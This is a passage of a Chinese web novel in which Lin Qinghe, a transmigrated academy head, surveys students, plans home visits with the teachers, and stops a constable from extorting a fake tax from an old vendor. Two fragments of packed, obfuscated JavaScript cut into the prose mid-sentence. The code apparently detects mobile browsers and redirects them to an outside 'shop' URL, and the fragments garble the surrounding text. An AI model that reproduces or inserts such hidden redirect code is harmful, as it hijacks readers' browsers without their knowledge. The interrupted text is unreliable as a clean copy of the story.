来青山书院的学子大部分都是怀抱着进一步科考的想法继续学习,少部分是家里要求,不得不捏着鼻子来书院混日子,而这些混日子的学子绝大数都在秀才院的乙班或者是丙班,即使他们有人一开始不是在最底层的班。 与左丘栾搭话的嘴毒学子就是秀才院乙班上的一个混子,整日不好好听课,四处与人招猫逗狗,不务正业,先生们头疼很久了。 “不用不用,我就随便问问。”左丘栾连忙摆手,拿起东西就赶忙跑出去,半点也不想被缠上。 那学子看着左丘栾躲鬼一样的步伐,嗤笑一声,眼神嘲弄,什么也没有拿,两手空空走出了秀才院。 刘野一手抱着卷子,脚步匆匆地走向先生批卷的院内。 等他推开门进入院内就发现其余三位先生已经到了,林清和两兄妹也坐在广玉兰树下的大圆桌边上,林槐夏手上还拿着一叠卷子。 刘野他记着另一个班今天不是白相去上的吗,怎么卷子现在都在林槐夏的手里,其余人手里一张没有。 他抚着山羊胡,笑问:“两位院长怎么都在此处啊,午时该用膳了,不用如此辛苦在此和我们这些先生判卷的,有我们四个就够了,才三十份一点都不多。” 很巧妙的话语,一下子捧上了两个年纪轻轻没有历经风浪的人,也丝毫没有把手中的权放出去。可惜的是,他遇上的是有着丰富打工人经验的林清和以及富有野望的林槐夏,没一个好糊弄的,不然林槐夏手中的调查问卷是怎么来的。 还没等林清和说话,胡宋明就开口了:“刘野,别唧唧歪歪的,赶紧拿着卷子过来,就等着你过来一起学着怎么做这个调查问卷分析。” 说着还迎上前,抽走了刘野手中的调查问卷,刘野着实无语,当初最不放心的是胡宋明,最快交心倒戈的也是胡宋明。 明明都一起约定好好试试这对兄妹,怎么大家一起听了两兄妹的话,数你小子最激动,直接被忽悠瘸了,最年轻的白相都还没你激动。 刘野的眼神飘过白相发虚的脸色,这一看就是没抵住,要不怎么一个小姑娘三言两语能直接拿到白相手中的卷子。 “快过来坐下,一起听听怎么分辨哪个是那些兔崽子们胡乱回答的,抽出来下午让他们重新答一次。”胡宋明把手中的卷子直接递给林清和,转过头对还在慢悠悠走着的刘野说道。 “来了来了,就几步路,别催魂儿了。”刘野也不摸胡子了,三两步并做一步跨过去坐下。 要不说他们怎么能成为好友呢,两个人都是急性子,只不过刘野隐藏的比较好而已。 “四位先生不必着急,这分辨无效问卷的方式还是很简单的,只要你们将那些前言不搭后语的卷子捡出来就行。先生们都学识深厚,我相信先生们的判断。”林清和笑着说,“大家一人平均分一点,马上就能看出来,说不定还可以交流一下各自的想法。” 学子们做的这份调查问卷是第四个版本,先生是没有做过的,先生们做的是林清和与林槐夏试验的第三个版本。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133431|149985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >第一个版本是由林槐夏试做,做完之后提出了不少的建议,林清和一一采纳,但是问卷完成之后,稍显臃肿,最后只提取了其中实用的想法,于是有了先生版的调查问卷,正好用来说服先生们先做一版,然后再让学子进行调查问卷做答。 三十份调查问卷,六个人一块看,每人到手五份。常年阅卷改卷的四位先生很快就把手中的卷子看完了,面上十分难看。 想也知道,学子们的想法很容易在稚嫩的文笔之下透露出真实,以及一些他们本人也无法察觉出来的气馁。 这些留下来的学子基本上都是家中经商的纨绔子弟与清贫向上的农家子弟,少数是像左丘栾那种老老实实听父母的话在青山学院努力学习,以科举当官作为目的。 可惜就连左丘栾这种学生也有不想科考的想法,也不怪先生们的脸色奇差无比了。 林清和慢慢仔细看完手中五份问卷,同一时间,林槐夏也差不多看完了,只见她神色平静,也没瞧出什么异样。 “大家都看完了吧?说说看感想。”林清和谈笑自若,没有被问卷的答案所困扰。 四周一片沉寂,唯余三两清风穿过头顶树叶发出簌簌响声,几朵广玉兰不慎坠落枝头,掉在木制圆桌的中间位置。 无人应答,林清和也不恼,含笑说道:“那副院长来说说。”他把目光投向林槐夏。 林槐夏顶着一张清雅仙丽的小脸,眼神肃穆,语气认真:“我认为还是有部分学子在隐瞒自身情况的,但是也有学生写出了自己真实的想法,这为我们接下来因材施教的教书模式起到了很大的作用。” “而我们接下来要做的第一步就是筛选出无效问卷,我这里可有四份无效问卷,先生们的呢?”林清和接过话茬,挥了挥手中的四份问卷。 “我有三份。” “两份。” “三份” “两份。” “两份,林院长我给你一份有效问卷吧,这样你也能多了解学子的情况。”柏季同拿出一份有效问卷递给林清和。 “好,谢谢季先生,我也给你一份无效问卷,互相多了解。”林清和接过柏季同传来的问卷,顺手传过去一张。 柏季同点点头,今天在小辈面前出丑了,只能怪他们平时没有教好学生,过于注重那些学问好的甲班学子,不看重乙班,丙班学子的学问。一昧认为学子们学得不用心才会一直在书院底层,没想到学生们各有各的想法,心思根本不在科举上,也无从谈起用不用心了。 其他先生的心里也不好受,青山书院一创办,胡宋明和刘野就来这里任教,教出了许许多多的学生,白相就是其中之一,别看他现在是先生,他的先生还是刘野,对,就是教策问先生的刘野。 他们对青山书院都有很深的感情,几乎看着青山书院从籍籍无名到小有名声,就像看着自己精心养大的孩子一般。 “咦?这位学子的想法倒是很有个性啊,不想考科举做文官,想当武状元。”林清和看着手中刚接过来的问卷,那一页恰好是询问,想不想科举做官的问题。 胡宋明一听,直接气笑了:“那他怎么不去专门的武举院,怎生跑到这来了。” “这有什么,这里还有个想吃遍天下美食,看遍天下美景的学生。缘由写着他小时候经常听起来往的货运船商讲起外面的小国,十分感兴趣呢。”林槐夏扬起了一张问卷,只见上头洋洋洒洒,写了好些文章,字迹飘逸,豪气爽朗。 “还写了个小国的风土人情,蛮有意思的,先生们也看看。”林槐夏将问卷放在桌子中间。 几位先生各自望望,还是柏先生率先拿起了问卷看了起来,剩下的也开始交换各自的问卷,默默开始阅卷。 随后开始交谈学生的问卷结果,几番激烈讨论下来,一致认为学生们还是经历得太少了,才会有这么多格格不入的想法。 林清和听了一会儿他们的讨论和结果,若有所思地说道:“我认为学生的想法都挺不错的,人生不止科举为官一种选择,学生们让我们看到了人生的不同选择。看来我们青山书院是时候开启第一届青山书院家访活动了,旨在与学生父母深入探讨学生的成长教育和人生方向。” 家访,这又是什么新鲜的活动?林槐夏饶有趣味地思考着。 7. 第 7 章 紧接着,林清和给他们详细解释了一下家访的好处与坏处。 好处显而易见的是可以了解学生在家里的学习状态,坏处则是需要抽出时间四处奔波,而学生家长还不一定有时间,最重要的是,学生的家庭住址尤其是家贫的学子,路途遥远,车马不便。 家访有时候可能还得不到正常的反馈,与学生双亲发生冲突也说不定。 “各位先生们认为这个家访活动如何,有兴趣参加吗?”林清和十指交叠放在桌面上,兴致盎然。 “这……可我们从未去到学生的府上,从来都是学生在进学前考察书院的时候见面,突然跟随学生上门,恐有不妥,多有失礼。”柏季同手指揉搓着卷面,神色犹豫。 前所未有的想法,先生出入学生府上,在青山书院风雨飘摇,流言漫天之际,林清和这小院长也不怕学生的长辈们直接将他闭门在外,责令学生不许再上书院。 显然,柏季同的担忧其他两位先生也是有的,胡宋明甚至直言不讳:“林院长就你那糟糕的名声,学生府上能让你进门吗?自古以来就没有书院先生去学生府上的!” 林清和一听自古以来这几个字,不知怎地,脑子里的一根弦就绷紧了,口吻略带质问:“敢问胡先生,自古以来就没有女帝,您瞧,我们这不就有一个贤明公正的光理帝吗?可见自古以来也不完全是不可打破,打破了可能会有一个更好的结果。” 虽然说林清和是胎穿到这个陌生的古代,并且这也是少有的古代太平盛世,民风开放,但它该封建的时候依旧封建,林清和可是享受过人人平等,百花齐放的新时代怎么会甘心臣服在见人就跪的封建等级制度之下。 所以林清和宁愿去走遍山河行商,无拘无束,也不愿通过科举做官,带着镣铐起舞。 但是现在他有了更好的选择,点燃星星之火,火虽微小,终有一日必然映红天际。 “都说自古以来,可现如今不也打破了许多的自古以来,先生们还是不要过于执着于文人风骨为好,书院如今不比从前了。”林槐夏的手在桌子下悄悄拉了一下林清和的袖子,表示让他收敛点,不要语出惊人,天马行空太过。 胡先生呐呐,他也想到了自古以来是从来没有女帝登基的,可他在女帝治下感受到的是安安稳稳,政治清明,触犯律法者一律按法处置,无论是什么身份。他从来没有不安,因为他知晓,只要有人欺压,他一告一个准,从未担忧律法的执行。 女帝龙驭宾天,万民皆哭。 直至今日,胡先生仍还记得那日听闻女帝乘龙升天的无助仓皇,涕泪涟涟,哀伤弥漫在空气中。 林清和在自家妹妹的暗示下,收敛了自现代人的思绪,他长呼一口气,放平心态,神情平和,“先生们其实也不必太过担忧,其实这样做还有一个非常直观的好处,那就是可以挽救青山书院不断下滑的名声,还可以让学子们以及定江县的百姓直观看到我们书院对学子学业的重视。” “对啊,还有这样的作用,我们先生们每走一家,就会有附近的人家看到。如果家访结束的早还可以趁机介绍一下青山书院的情况,情况好还能招来新学子进学。”顺着林清和的思路,白相一拍手就想到家访还能增进生源的机会。 果然是年轻就是好,思路灵活,触类旁通,举一反三,刘野默默在心里想到,他适时开口:“我们该如何进行家访,怎么分配,家访的内容都有些什么?” 林清和肆意一笑,目光看向他们手上的调查问卷,:“当然是靠学生给我们的信息,家访内容也很简单,给学子家里的长辈说说学子在书院的日常生活,学子擅长什么科目,感兴趣什么,学子与先生们只间的小事,我想他们应该都很感兴趣。” “难道不说学子稀烂的课业?不是我说啊,有些学子是真的对诗词不开窍,愁人呐……”柏季同忍不住揪住袖子开口说道。 “对对对,还有算学,明明很简单,为什么就是做不出来,怎么教也不会。”白相两眼望着柏季同发出了同样苦恼的声音,看起来都是被学生折磨不轻的人。 “扑哧。” 林槐夏突然笑出了声,所有人的视线被动聚集在她身上。林槐夏嫣然一笑道:“我只是想到了爹爹苦恼兄长诗词歌赋不开窍的样子,和现在的先生们苦恼学子课业的样子像了个十成十。” “每次兄长都会辩解说,他在诗词歌赋上还有很大的进步空间和上限,只是现在的他还没有达到爹爹的要求。”林槐夏眼波流转间调笑之意,跃然纸上。 先生们诧异,还有这事,林清和不是少年天才吗?怎么也不会想到林府还藏着两个真正意义上天才的两人。 白琅月出于某种原因不能进入青山书院进学,林清和怕他小孩子一个孤单,也陪着他一起在家,只单纯在书院挂个名头,林槐夏则是女子,三人从小一块读书,长大也不例外都是林启春夫妻俩进行教学。 林清和也不恼林槐夏拿他小时候的事情出来说笑,反而云淡清风地附和:“对,少时不懂诗词歌赋就是这么劝解家父的,最后家父还是愉快的接受了这个说法,并坚定认为我时候未到,大器晚成。和家父一起念书的日子还是十分有趣,能了解许多野史趣闻。” 话头一转,林清和又说起了该如何分配学子的问题:“至于如何分配,不如按照现在各位先生手上的学子调查问卷,每人五个学生刚刚好。时间么,从明天开始家访,学子顺序随先生们高兴,但是内容上一定要契合对应的学子,尽量夸夸学子的天赋所在。”他意味深长对着在场所有人笑了一下。 胡先生张了张口,欲言又止地看向林槐夏,算了,刚触了礁,女人都能当女帝了,区区一个书院副院长有什么。 见没人反对,林槐夏的眼睛亮晶晶的,小星星一样闪烁。 “这时间未免有点紧迫,明天也不够研究透彻学子们的信息。”刘野捏着胡子须尾,一脸为难。 “那就三天后,这几天正好先生们可以观察观察学生们平时学习是什么模样,这样和家长讲的时候就不会过于干巴,真实生动才能让学子双亲感受到我们书院上门的诚意。”林清和听劝,改变了开始时间。 “还有什么想法要说的吗?没有的话我们去吃饭,今天下午还要让某些学子重新答题。”林清和想到有些学子还要做第二遍题目就愉悦极了。 “我还疑问,这件事需要告知学生吗,去家访,学子需要在府上吗?”柏季同问出了自己心中的疑问。 林槐夏也一样不解,毕竟是初次接触这种事情,不同于调查问卷,她只需要进行测试,提出自己的意见即可,她没有太多真实感。家访活动则不同,林槐夏需要自己单独进行活动,独自应对来自各家学子不同长辈的问询。 “好问题。”林清和莞尔一笑,“当然需要告知学子们这个好消息,但是学子们三天后应该都在进学,不便陪同。若是有学生的家实在过于遥远,那么就辛苦先生们下次旬休一起陪同学生回家,在路途中聊聊人生,谈谈理想,不教学生感到孤独。”林清和促狭地朝先生们眨眨眼睛。 家访活动而已,学生放什么假,没到放假时间都安安分分在书院里认真学习,为自己的理想人生努力奋斗。 可能就是某些不上进的学子会忐忑不安,心里特别慌张罢了。 “暂时没什么其他问题,如果有我们再问,我们先去吃午饭,不知道两位院长还习不习惯吃书院食堂的饭食?”有了回答,刘野眉头舒展,手里拿着自己想琢磨好的五张调查问卷,率先站起来邀请林清和两兄妹去书院食堂用膳。 其余几人也纷纷站起,兄妹俩点点头从善如流跟着先生们一同去往书院食堂。 * 下午先生们如约而至去到秀才院的两个班,黑着一张脸,“不知道某些学子是对上午出的题目有什么不满啊?为何卷面上前言不搭后语,乱写一通?” 室内寂然无声,沉默蔓延。 刘野环视班内的学子,沉声道:“我念到的学子上来拿走问卷,重新抄写一遍题目,去隔壁丙班的位置上重做。” 众学子心下愕然,这次竟然需要重新考一次,究竟是为什么,那什么调查问卷有这么重要吗?上面尽是一些奇奇怪怪的问题。今天真是奇了,先生不校考策问内容,居然做这些奇怪的事情,是不是今天吃错药了? 就在众学子惊疑不定的时候,刘野已经一声声念着未通过学子的名字了,左丘栾心里十分紧张,脑海中回想着自己的答案,期望自己不要被叫出去到丙班去答题。 令所有人都意外的是,秋宜年居然也被叫去拿卷子,重新考。这下使得左丘栾心跳更加急促,疯狂回想,精神的高度集中回忆并没有让他的状况好起来,反而脸色越加苍白,冷汗涔涔。 “好了,你们现在就拿着笔墨去丙班重做一边,记得遵从本心。”刘野的视线看向秋宜年时,眼神有着明显的失望。 他原以为以秋宜年的性子会认真回答这份调查问卷的,可是秋宜年的调查问卷空白了一大半,不知道是出于什么样的心思。 望着秋宜年等学子出院的背影,左丘栾感到十分庆幸,他做问卷时听从内心的声音如实填写才没有又重做一遍。 乙班院内不知何时来了一群丙班的学子,磨磨蹭蹭站在门口探头探脑,一副想要进来又不敢进的样子。 最后还是刘先生看不下出去领着丙班学子进来找位置坐下。 来到丙班的学子发现,剩下的丙班学子也在抄写调查问卷上的问题,一边写一边做,比不上直接做的速度。 “来了就找个位置坐下直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133432|149985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始写吧。”白相指着空余的座位,看着乙班的学子说道。 乙班的学子依次落座,只剩秋宜年一个人站在原地,神色不明,他开口问道:“白先生,我等学子为何要做这所谓的调查问卷,这分明无关科举。” 白相愣了一会儿才说道:“林院长想了解剩下学子的情况,针对你们各自不同的情况因材施教。其实我们先生都很关注这次的结果,因为之前教书先生多,我们现在的几位先生也只是偶尔教过几次秀才院,对于你们的情况了解不多,希望你们能如实作答。” 到底是年轻了,把这次调查问卷的目的透露得一干二净。 “那为什么不考学问,问我们的出身情况是做什么用?”秋宜年仍不放弃,继续追问。 白相哑然,只能说:“你先坐下来把这次的卷子做了,做完之后我再回答你。” 面对十几岁少年人质疑的眼神,白相的内心倍感煎熬,天人交战不知道是否应该此时将家访的事情告知众学子还是等考完后先生们一同商量告知时间。 在秋宜年准备走去入座时,白相看见了不知道什么时候出现在门口的林清和,他心里一个咯噔,不知林院长听了多久,对他处理这件事有没有看法。 毕竟是刘野的弟子,有时候师徒的想法还是莫名一致的多。 他连忙向林清和走去,眼尾瞥见林槐夏站在后半截走廊靠窗边上观察着室内学子的表现,真是糟糕。 林清和没有他想的那么多,只觉得有学子能够站出来勇于说出自己的问题,这本身就是一种很好的讯号,说明这个学子有自己的思考和想法。 “处理的很好,辛苦白先生了。”靠近门口的学子听见林清和如是说,“让学子们填写出身情况,喜好等,是想从各个方面上充分了解学子的情况,定做独一无二的教学计划,所以才需要了解这么多,单单从学业上还是会有不足的地方。” 当然还有从这些信息中抠出内容去家访的事情就不必和学子们说清楚了。 “白先生稍后收完答卷完可以和刚才那位学子说一声,让他不必担忧。” 想科举下场为官还不容易,各种题目应有尽有,小考周考月考统统安排上,规格直接安排真实科考号舍,从检查到考试结束,更有野外模拟科考赶路,让学子再也不用担心路上偶遇突发事件。 说完林清和就让白相回去了,和林槐夏两个人在院子里溜溜达达,一会儿看看花,一会儿看着墙上粘贴的历代学子文章。 白相颔首,想着林清和还是很平易近人的,都是差不多的年纪,不必像对待前院长一样恭敬,好像林清和更加愿意与人平等相交,也不知道是不是他的错觉。 实际上,林槐夏和林清和是在装模做样偷瞄正在作答的学子,不好做得太明显才在院子里来回溜达,一下子去这里一下子去那里。 “小四月,你那的学子有路远的吗?”林清和好奇的问道,出于关心妹妹,想了一下还是说:“路远你出门的时候记得坐马车带上侍女和书童。”出事的时候好歹有人回来报信。 “我好歹也会点拳脚功夫,哪里像你啥也不会,文弱书生,哼。”林槐夏不屑,学习拳脚功夫的时候,林清和还在科举里挣扎怎么写策问呢,哪来的功夫去找武先生学习。 因此,从小一起长大的三人只有林清和不会武,林槐夏和白琅月都会,谁让林清和赶不上两位天才儿童的进度,只能眼巴巴抓着笔看着他们学武术。 “是我不配,我走。”林清和捂脸,他怎么忘了自家妹妹会武功,尴尬。“咳咳,我们去找胡先生他们商谈什么时候通知学子家访。” 这显然是一个无效的转移话题,林槐夏柔声说道:“哥哥,先生们中午的时候刚说了三天后家访,你忘记了吗?三天后家访当然是当天宣布当天家访比较有趣啊。” “哈哈,我知道,以防万一嘛,去商量一下统一时间比较好啊。”林清和笑着说就往院子外走。 果然,先生们都一致决定三天后当天宣布通知,当天家访,打学生一个措手不及,以免有些学生编造谎言不让先生登门拜访。 青山书院的学子们这三天总感觉有人在看着自己,转头一看又没有人,和其他学子讨论时,也总会有感觉视线时不时停留在身上。 询问过其他人后,发现不止一个学子有这种状况,大家基本上都有,尤其是在课上学习时尤为严重。 结果有细心的学子发现,观察他们的人居然是先生和院长,顿时深感不妙把这一消息传播给大家。 当天,众学子被林清和集中召集在秀才院前的空地上宣布:第一届青山书院家访活动于今天正式开始,每五个学子由一位先生或院长负责,具体负责名单将在午后粘贴在秀才院外墙。 学子们一听都炸锅了。 8. 第 8 章 “什么家访?什么活动?” “顾名思义,先生要去我们家里?” 先生你们要不要听听你们在说点什么惊世骇俗的话,书院的先生可以随便在教学期间去学子府上拜访的吗? “啊啊,怎么办,我一直告诉家里我在书院学得很不错,现在先生去拜访岂不是暴露了,不要啊!” “难怪这几日先生总是看着我们,还有前几日那什么鬼调查问卷,原来在这里等着我们,真是狡猾!” 左丘栾在人群中听到这个消息心下一惊,怎么办,回家温书的事情还没有和先生说,万一先生去了和娘亲说起这件事,岂不是很尴尬,左丘栾光想一想都觉得脚趾抠地。 对了,他还在卷子上写着不想科举想回家帮阿父经商,啊!要死了! 人群中慌乱不断,说话声高低起伏,嘈嘈杂杂。 林清和给了学子们一阵消化时间,待人群中的骚动小了不少之后,随即开口:“诸位学子不用担心,这次家访只是一个简单的拜访活动,主要就是聊聊诸位学子在青山书院的日常生活,家远的学生到时候会由先生一起跟随回乡,每一个学子都不会落下,大家请放心。” 着实坏心眼了林清和,日常生活可不就是课业加平时表现,还不用担心,是个学生都会担心先生会和自家长辈谈论自己的话题吧。 看着眼前面露不安的学子,林清和的心情十分不错,就让来自现代教育活动之一给古代学子们一点小震撼,提前领略未来平行时空的教育模式。 一群十五六岁的少年人放在现代还是念初高中的年纪,整日不好好念书,四处闲逛是怎么回事,这几天林清和留心观察着书院的学子,发现大部分的学子都是这副模样,只有少数学子认真学习。 他这个年纪的时候都已经下场考举人了,吃了那么多学习的苦,怎么这帮学生看起来这么自由散漫,居然可以不好好学习,学了还没找到方法,进度太慢,居然只是刚到秀才,林清和对可以悠闲学习的学子表示嫉妒。 欣赏够了学子们慌乱的表情,林清和才让学子们解散回去继续学习。 每一个学子离开的背影都写满了沧桑。 “林院长,你可真是个妙人。”柏季同摇着手里折扇,揶揄林清和。 “柏先生难道不觉得学生们的反应看起来很有趣吗,而且未来几日学子们肯定能把心思都放在课业上,不敢有丝毫松懈。”林清和挑眉一笑,“这样一来先生们就不用忧虑讲学时的突发小状况了。” 胡宋明哈哈大笑,“柏兄说得对,院长妙人也。” “是极是极。”刘野抚着胡子应和。 “什么妙人,先生你们对院长的认识还是不足啊。”林槐夏哼哼,“我兄长只是觉得他这个年纪都日学夜学下场考举人了,这些学子还有时间可以玩闹,心里不平衡罢了。” “看破不说破啊,副院长,而且他们现在不是正好的进学时光吗?”林清和眼神清亮,语气坦坦荡荡,“家访活动先生什么时候出发,我打算现在就出发,有个学子家就在定江县内西市那边,家里行商,马车过去大约一刻就到了。” 不错,林清和去的正是左丘栾的家里,那个说要回家帮阿父经商的小少爷,左丘栾。 “我们也打算从县内的学生先开始,然后轮到镇子和村子的学生。”白相快言快语,有问必答。 “诸君共勉,愿我们都有一个好的开头。” 几人相视而笑,各自从院前离去准备出发。 林清和并没有坐马车,将马车让给了去更远地方的林槐夏,家人在一块工作不好的地方就是交通工具都不够。 马车轱辘辘,蹄声清脆,离林清和越来越远,林清和也不着急,慢悠悠的在街上行走,路过李大夫的药庐时,还和正在问诊的李大夫打了声招呼。 初夏的微风徐徐,林清和的视线散落在街上四处行走兜售的商贩,巷子角落摆摊卖的百姓,思绪游走。 今天晚上应该回去给小师弟回信了,再不回信,小师弟的第二封信应该马上又来了,正好可以跟他说说最近发生的事情,再随信去一张调查问卷,就可以了吧…… “滚,不把占地税交出来就不能在这里摆摊!”男子狠厉的话语伴随着重物倒塌的声音引人注目。 林清和四处游弋的目光直接聚焦在左前方的凶神恶煞的几位衙役身上,转而滑落在地上无助捡起货物的佝偻背影。 街上的行人远远避开这场灾难,生怕自己被殃及池鱼,只敢远远站在远处窃窃私语围观。 “又出了一个新的税,这要怎么活啊?” “是啊,自从女帝走后,收的税越来越多了。” “老汉也是可怜,撞在枪头上了。” 女帝的离世让世家狂喜,他们已经被压制得太久了,长久的蛰伏使得他们小心翼翼地联系那些心志不坚定地朝廷官员,细水长流隐晦地作案。 女帝刚开始逝世时,世家大族和朝廷党争还没有那么明显,新帝还能压制,随着时间的流逝,新帝力有不逮,朝廷新旧势力交错争锋,世家大族也掺了一脚进去,局势越发晦暗不明,连发出去的诏书也无法落实,以至于滋生出了许多连皇帝本人也不知道的苛捐杂税。 “交不出来?”领头的衙役身材高大眼神一冷,抬脚踏在那只因劳作而粗糙不堪的黄黑色大手上。 “啊!”嗓音嘶哑粗粝。 “交不出来要么拿货物抵税要么进牢狱让亲人来赎回去!”说罢,衙役头子脚下还狠狠地来回碾了碾那老汉的手,脸上尽是令人寒战的笑容,准备抢走老汉的货物。 “啊啊……官……官爷……饶……饶了我吧……啊……” 老汉痛苦沙哑的哭喊,耳边萦绕着行人不忍的私语,林清和再次感受到身处不同时代的巨大落差。 “住手!”林清和跨步上前,直接抓住衙役扬起的手,口气微沉,“他的占地税是多少,我来给,不要为难这位老人家。” 林清和弯下身准备扶起头发花白的老汉,见衙役头子的脚还不移开,抬头目光幽深的直视衙役头子,“还不移脚吗?” 衙役头子的目光被林清和的眼神烫到,立马移开了脚,嘴上依旧逞狠:“一两银子管一个月的占地税。” 众人听见那衙役头子的话都惊呆了,一两银子都够普通百姓家五六口人三个月的开销了,什么占地税这么贵,以后还能不能再西市的地界上摆摊,兜售货物了。 这衙役头子该不会是讹人公子的钱财才故意说这么多的? 林清和没理会衙役头子的阴沉凶狠的脸色,先把老汉扶起,又把掉落在各地的货物山珍菌子,野鸡干等捡起,放入老汉的框内,才直视那衙役头子,“敢问这位衙役,什么时候新增了占地税,何时在县衙外墙上的公告处张贴,是否有让人宣传三日?” 此话一出,衙役头子的面色阴沉得快要滴出水了,“你就说,这占地税交还是不交?” 啧!碰上了个硬茬子,看来不得不动手打一顿,杀鸡儆猴,才能让西市的商户小贩们安分上交税款。衙役头子松松指骨,看林清和的反应如何,再一招制敌。 衙役头子的话令老汉瑟瑟发抖,嘴唇嗫嚅:“公子……要不还是算了……货物与他们便是了。” 林清和拍拍老汉的手,安抚老人,神情平稳,“没事,放心,事情结束后老丈您先去药庐看看手,不要耽搁了伤势。” 继而转向衙役头子,质问出声,“这位衙役,你还没回答我的问题,你先回答清楚这个税目究竟是有还是没有,如果有,别说是一两了,十两我也出了。” 衙役头子身旁的两位衙役刚要出来就被衙役头子挡住了,他眼里闪过一丝寒光,口气鄙夷,“你是什么身份,还需要我给你解释?赶紧上交占地税,现在已经不是一两银子了,是五两银子!” 明晃晃直说,老子我就是在胡乱收税,根本就没有占地税,就是编个名头朝你要钱。 “嘶,这根本就是欺负人。” “去告官!” “没用的,之前有人去了,县令包庇他。” “可女帝……” …… 林清和简直要被气笑 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“他十六岁就成为举人了,有些人一生也做不到,就算春闱失利多少次也比我们这些平民百姓强啊!” “这下可有好戏看了,呵呵……” 衙役头子脸刷地白了,口中不住的道歉,“是小人有眼不识泰山,冲撞了举人老爷,该死该死。”说着就伸手扇自己的脸,左右开弓,毫不留情,脸没拍几下就高高肿起。 身旁的衙役还没反应过来,就被衙役头子连声喝道:“还不快点对举人老爷道歉,小心你们的小命不保!” 这就不得不要提大光王朝对已经有功名的读书人十分优待,秀才及以上可以见官不跪,举人功名同县令之位,也就是说你有举人功名你就可以做县令了,平时与县令相交也可直接以读书人前后辈相称。 区区一个衙役头子还没有本事欺压到举人身上,若是有举人朝衙役直接亮明身份,衙役头子还得恭恭敬敬请人喝茶,喊人举人老爷。 一群衙役在街上啪啪打自己的脸,县衙的脸都被丢光了。 林清和深感封建时代的悲哀,叫停了衙役们的自虐行为,作为惩罚也只是让他们去青山书院抄上三遍大光律。 “谢谢举人老爷,要不您老汉今天还不知有没有命回去。”老汉红着眼眶向林清和道谢,“若是女帝在位就好了,就不会……不会出现今天的事情了……” “不必言谢,伤势要紧,前方不远处便是药庐,这银子你拿着,快去看病,在下还有要事就不能陪同老丈一块就医。” 林清和目送老汉背着货物走远,继续走向左丘栾的家,此时的他已经没有了刚开始是出门的轻松惬意,胸中不断翻滚着刚才发生的事情。 只要身处这个时代,无论做什么事情,从事什么行业,都会带着束缚前行,根本无法摆脱。这也让林清和想要改变的决心愈发坚定。 没有在路上耽搁,很快地,林清和便走到了左丘栾的府上,门口和其他家不同,并没有摆上两只石狮子,而是摆上了两只乌龟,风水上讲究避免煞气进门,保佑府内人家长寿安康。 看来左丘栾的家中还有爷爷奶奶在,大光的长寿的老人并不多见,许多老人基本在六七十岁左右就去世了,因此,家中有老人在的人家门口都会摆放两只石乌龟。 “扣扣。”林清和叩响朱红漆雕花大门。 门开后是一位圆脸小门童,和蔼的与小门童说明来意后,就坐在门房内等待。 果然还是做生意赚钱,等待传唤的门房设计的这么宽敞舒适,还备有茶点,精心又周到,让人挑不出差错,不愧是生意人,八面玲珑,小小的一个待客门房就可窥见其中一二。 听侍女通报青山书院的先生来了,左丘栾的娘亲并未感到意外,她猜想应该是先生不想儿子离开青山书院才来府上进行劝说。 左母放下修剪花枝的铰刀,旁边的侍女就机灵的拿起搭在白瓷盆边上的棉布为左母小心柔和的擦拭双手。 “既然是栾儿的先生,就让这位林先生去正厅,小心伺候。”左母垂下眼帘,口吻冷淡。 “是,夫人。” 9. 第 9 章 左府正厅一如其他经商家族一样,沿路庭中摆放无一不符合风水上的藏风聚财,借地之势,水之流,人之来往生气将自己府上打造为风水宝地,以期家族世代财运永存。 林清和被圆脸小门童接引至前院门口,交由另一侍从领到正厅中,等待着左夫人的到来。 左府仆人为林清和细心备上了茶水点心,林清和一看,吓了一跳,这居然是定江县内最出名的糕点百花糕,价钱高数量少,每次早上限量出售不到一刻钟就被抢光了。 仔细看看这里一碟百花糕的份量已然超过了限量数量,而且他到来的时间快要接近午时,糕点铺子早就卖完了百花糕,左府是怎么买到百花糕的,不仅新鲜而且份量颇多。 捻起一块百花糕,色泽莹白,形似玉兰,还未进口花的香味扑满鼻口,林清和轻咬一口,口感层次分明,平常嗅到的百花香味竟然从味觉中品尝出来了,百花糕受欢迎不是没有道理的。 林清和有些感叹左家底蕴怕不是已经经商了好几代,才会从衣食住行上如此精细,连待客的茶点都是最好的,也不知道平常都是如此招待,还是给来自青山书院先生的下马威。 是的,林清和没有表明自己的身份是青山书院的院长,而是将身份说成先生,只是为了平易近人,多多拉近双方之间的距离,没想到被人来了个下马威,他已经在正厅等待了两刻钟,连茶水都被下人换了一轮。 林清和知道青山书院的名声还是被他连累了,就连以往出了好几位进士的事迹也被定江县的百姓遗忘得差不多,青山书院声名已毁,众人只记得院长之子春闱失利三次。 他放下只咬了一口的百花糕,品尝的胃口全无,垂下眼皮不知在想些什么,过了一会儿,嘴角缓缓勾起一丝笑意,眼底亮起,不怕,大不了重头再来,他脑子里有大种花上下五千年的宝藏,怎么着也够用了,他现在的家访活动不就是在挽救青山书院的名声吗。 “先生茶点只用了一口,可是口味不合?还不快为少爷的先生重新上一份新茶点上来。” 林清和低垂着眼,未见其人,先闻其声,若林间溪水奔流击石,充满力量与威严,他抬头看向来人,一袭素净的白衣蓝裙,发髻作妇人状,面容三四十上下,缓缓走来,身后跟随着两个高挑清丽的侍女。 